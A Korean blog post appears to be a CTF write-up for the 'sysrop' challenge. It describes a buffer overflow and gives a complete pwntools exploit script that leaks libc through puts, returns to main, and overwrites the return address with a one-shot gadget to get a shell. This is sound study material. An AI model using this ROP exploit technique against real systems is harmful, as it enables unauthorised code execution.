hOwDayS 선린 10720

TRSUTCTF sysrop 본문

CTF

TRSUTCTF sysrop

hOwDayS 2018. 3. 8. 19:37



고등학교 모의고사(망쳤다;;)끝나고 저번과 같이 문제를 하나 더 풀어서 써보도록 한다...

TRUSTCTF문제


RELRO 

 FULL RELRO

Stack Canary

 No Canary

 NX

 NX Enabled

 PIE

 No PIE






저렇게 되는데 scan_int함수에서 바로 취약점이 보여서 2 , 3 , 4 메뉴를 볼 필요가 없었다






read에서 buf가 원래 크기보다 더 크게 받으므로 이걸로 Leak , exploit 할 수 있다.




처음에 입력받을때 바로 릭할 수 있다.


1. Leak libc_base , using puts 


2. return to main






릭하고 메뉴로 왔으니 처음 입력받을 때 익스 할 수 있다.


1. overwrite ret to oneshot


익스할때 __malloc_hook를 덮어 씌우겠다고 발악했지만 안돼서  자세히보니 ret를 바로 덮어 씌우면 되는 거였다..





1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
 
= ELF("./sysrop")
= remote("198.13.62.9",5466)
#p = process("./sysrop")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 
pop_rdi = 0x400d33
pppr = 0x400d2f
main = 0x400c2c
 
__malloc_hook = 0x3c4b10
oneshot = 0x45216
 
 
print p.recv()
 
#libc leak
 
payload = "A" * 0xa0 #buf
payload += "A" * 8 #sfp
payload += p64(pop_rdi)
payload += p64(e.got["puts"])
payload += p64(e.plt["puts"])
payload += p64(main)
 
p.send(payload)
 
leak = u64(p.recv(6+ "\x00\x00")
 
libc_base = leak - lib.symbols["puts"]
 
log.info("puts leak : " + hex(leak))
log.info("libc leak : " + hex(libc_base))
log.info("__malloc_hook : " + hex(libc_base + __malloc_hook))
log.info("oneshot gadget : "+ hex(libc_base + oneshot))
 
 
print p.recv()
 
#exploit
 
exploit  = "A" * 0xa0 #buf
exploit += "A" * 8 #sfp
exploit += p64(libc_base + oneshot)
p.send(exploit)
p.interactive()
 
#  Failed @_@
 
#exploit += p64(pppr)
#exploit += p64(0)
#exploit += p64(libc_base+__malloc_hook)
#exploit += p64(100)
#exploit += p64(e.plt["read"])
#exploit += p64(main)
#p.send(exploit)
 
#p.send(p64(libc_base + oneshot)) #overwrite __malloc_hook
#p.interactive() #Allocate and Shell!!
 
 
cs







'CTF' 카테고리의 다른 글

ASISCTF CAT  (0) 2018.05.05
TRUTHEALTH SoHard  (0) 2018.03.10
ROOTCTF Allocate  (0) 2018.03.04
TRUSTEALTH rpggame  (0) 2018.03.03
0ctf babyheap  (0) 2018.03.01
Comments